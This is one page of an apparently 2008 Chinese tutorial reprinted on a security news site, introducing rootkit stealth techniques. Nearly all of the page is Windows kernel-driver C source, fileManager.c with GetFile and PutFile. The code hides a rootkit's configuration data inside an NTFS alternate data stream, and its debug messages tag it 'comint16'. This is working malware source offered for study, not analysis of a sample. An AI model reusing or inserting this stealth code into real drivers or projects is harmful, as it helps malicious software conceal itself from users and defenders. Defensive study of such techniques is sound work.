CTOCIO IT专家网

天极传媒 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
IT专家网搜索

网络安全,安全,网络安全设备,信息安全产品,网络安全新闻,信息安全市场分析,黑客攻防,防黑反黑技巧,黑客,网络安全技术,网络安全方案,病毒播报,最新病毒库,攻防技巧,入侵渗透,新闻,思科,Juniper,天融信,瑞星,金山,江民,卡巴斯基,赛门铁克, 趋势,绿盟科技,联想网御,MCAFEE,安氏,冰峰网络,网络入侵,木马,病毒,病毒分析,木马分析,样本分析,木马样本分析,病毒样本分析,杀毒软件

您现在的位置: IT专家网 > 安全子站 > 安全技巧

Rootkit隐形技术入门

作者: 宇文,  出处:51CTO.com , 责任编辑: 韩博颖, 
2008-03-24 09:28
  在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。
FileManager.h文件中,我们将交换数据流的位置定义为MASTER_FILE ,同时声明了两个函数GetFile 和PutFile,这两个函数会在上面的configManager.c中用过,并且在下面对配置文件实现隐形的代码中也大有可为: 
// fileManager.c
  // 向MASTER_FILE存放交换数据流或者从MASTER_FILE取出交换数据流时,无需路径
  // 与之相反,向可见的文件系统存放交换数据流或者从可见的文件系统取出交换数据
  流时,需用绝对路径
  #include "ntddk.h"
  #include
  #include "fileManager.h"
  #include "Invisible.h"
  NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG
  fileSizePtr )
  {
  NTSTATUS rc;
  WCHAR ADSName[256];
  HANDLE hStream;
  OBJECT_ATTRIBUTES ObjectAttr;
  UNICODE_STRING FileName;
  IO_STATUS_BLOCK ioStatusBlock;
  CHAR string[256];
  // 设置文件尺寸
  *fileSizePtr = 0;
  // 如果不是绝对路径,从NTFS-ADS中读
  if( wcschr( filename, '\\' ) == NULL )
  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );
  else
  wcscpy( ADSName, filename );
  RtlInitUnicodeString( &FileName, ADSName );
  InitializeObjectAttributes( &ObjectAttr,
  &FileName,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL);
  rc = ZwOpenFile(
  &hStream,
  SYNCHRONIZE | GENERIC_ALL,
  &ObjectAttr,
  &ioStatusBlock,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  FILE_SYNCHRONOUS_IO_NONALERT );
  if ( rc != STATUS_SUCCESS )
  {
  DbgPrint( "comint16: GetFile() ZwOpenFile() failed.\n" );
  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n",
  rc,
  ioStatusBlock.Status );
  DbgPrint( string );
  return( STATUS_UNSUCCESSFUL );
  }
  rc = ZwReadFile(
  hStream,
  NULL,
  NULL,
  NULL,
  &ioStatusBlock,
  buffer,
  buffersize,
  NULL,
  NULL );
  if ( rc != STATUS_SUCCESS )
  {
  DbgPrint( "comint16: GetFile() ZwReadFile() failed.\n" );
  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n",
  rc,
  ioStatusBlock.Status );
  DbgPrint( string );
  return( STATUS_UNSUCCESSFUL );
  }
  //成功读取后,返回读取的字节数量
  *fileSizePtr = ioStatusBlock.Information;
  ZwClose( hStream );
  return( STATUS_SUCCESS );
  }
  NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize )
  {
  NTSTATUS rc;
  WCHAR ADSName[256];
  HANDLE hStream;
  OBJECT_ATTRIBUTES ObjectAttr;
  UNICODE_STRING FileName;
  IO_STATUS_BLOCK ioStatusBlock;
  CHAR string[256];
  //如果不是绝对路径,交给NTFS-ADS
  if( wcschr( filename, '\\' ) == NULL )
  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );
  else
  wcscpy( ADSName, filename );
  RtlInitUnicodeString( &FileName, ADSName );
  InitializeObjectAttributes( &ObjectAttr,
  &FileName,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL);
  rc = ZwCreateFile(
  &hStream,
  SYNCHRONIZE | GENERIC_ALL,
  &ObjectAttr,
  &ioStatusBlock,
  NULL,
  FILE_ATTRIBUTE_NORMAL,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  FILE_OVERWRITE_IF,
  FILE_SYNCHRONOUS_IO_NONALERT,
  NULL,
  0);
  if ( rc != STATUS_SUCCESS )
  {
  DbgPrint( "comint16: PutFile() ZwCreateFile() failed.\n" );
  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n", rc,
  ioStatusBlock.Status );
  DbgPrint( string );
  return( STATUS_UNSUCCESSFUL );
  }
  rc = ZwWriteFile(
  hStream,
  NULL,
  NULL,
  NULL,
  &ioStatusBlock,
  buffer,
  buffersize,
  NULL,
  NULL );
  if ( rc != STATUS_SUCCESS )
  {
  DbgPrint( "comint16: PutFile() ZwWriteFile() failed.\n" );
  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n", rc,
  ioStatusBlock.Status );
  DbgPrint( string );
  ZwClose( hStream );
  return( STATUS_UNSUCCESSFUL );
  }
  ZwClose( hStream );
  return( STATUS_SUCCESS );
  }
  
共10页。 9 1 2 3 4 5 6 7 8 9 10 :

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。
  • 周排行榜
  • 月排行榜

邮件订阅


    • 解析如何实现自动化的IT安全合规管理评论
      能够解决企业IT、审计和运作团队共同问题的方法一直是企业IT管理者所迫切希望的,自动化的企业合规管理将会及时的发现并掌控企业实际存在的各种问题。
    • 视频讲解:MS Windows系统安全评论
      本文将由7all为IT专家网用户讲解MS Windows操作系统。
    • 浅谈逆向工程在网络安全研究中的运用评论
      从某种程度上来说,计算机软件的逆向工程技术主要过程为分析计算机程序,在分析计算机程序的过程中,逐渐建立起高于源代码级别的更抽象层次的程序运行过程。
    • 评估Vista内核模式的安全性评论
      Windows Vista与之前的MS Windows版本(包括Windows XP SP2)相比增加了很多的安全性。Vista新安全性的特征可以包括驱动签名、PatchGuard、内核模式代码完整性检查等。

天极服务 | 关于我们 | 网站律师 | 加入我们 | 联系我们 | 广告业务 | 友情链接 | 我要挑错
All Rights Reserved, Copyright 2004-2008, Ctocio.com.cn
渝ICP证B2-20030003号 如有意见请与我们联系 powered by 天极内容管理平台CMS4i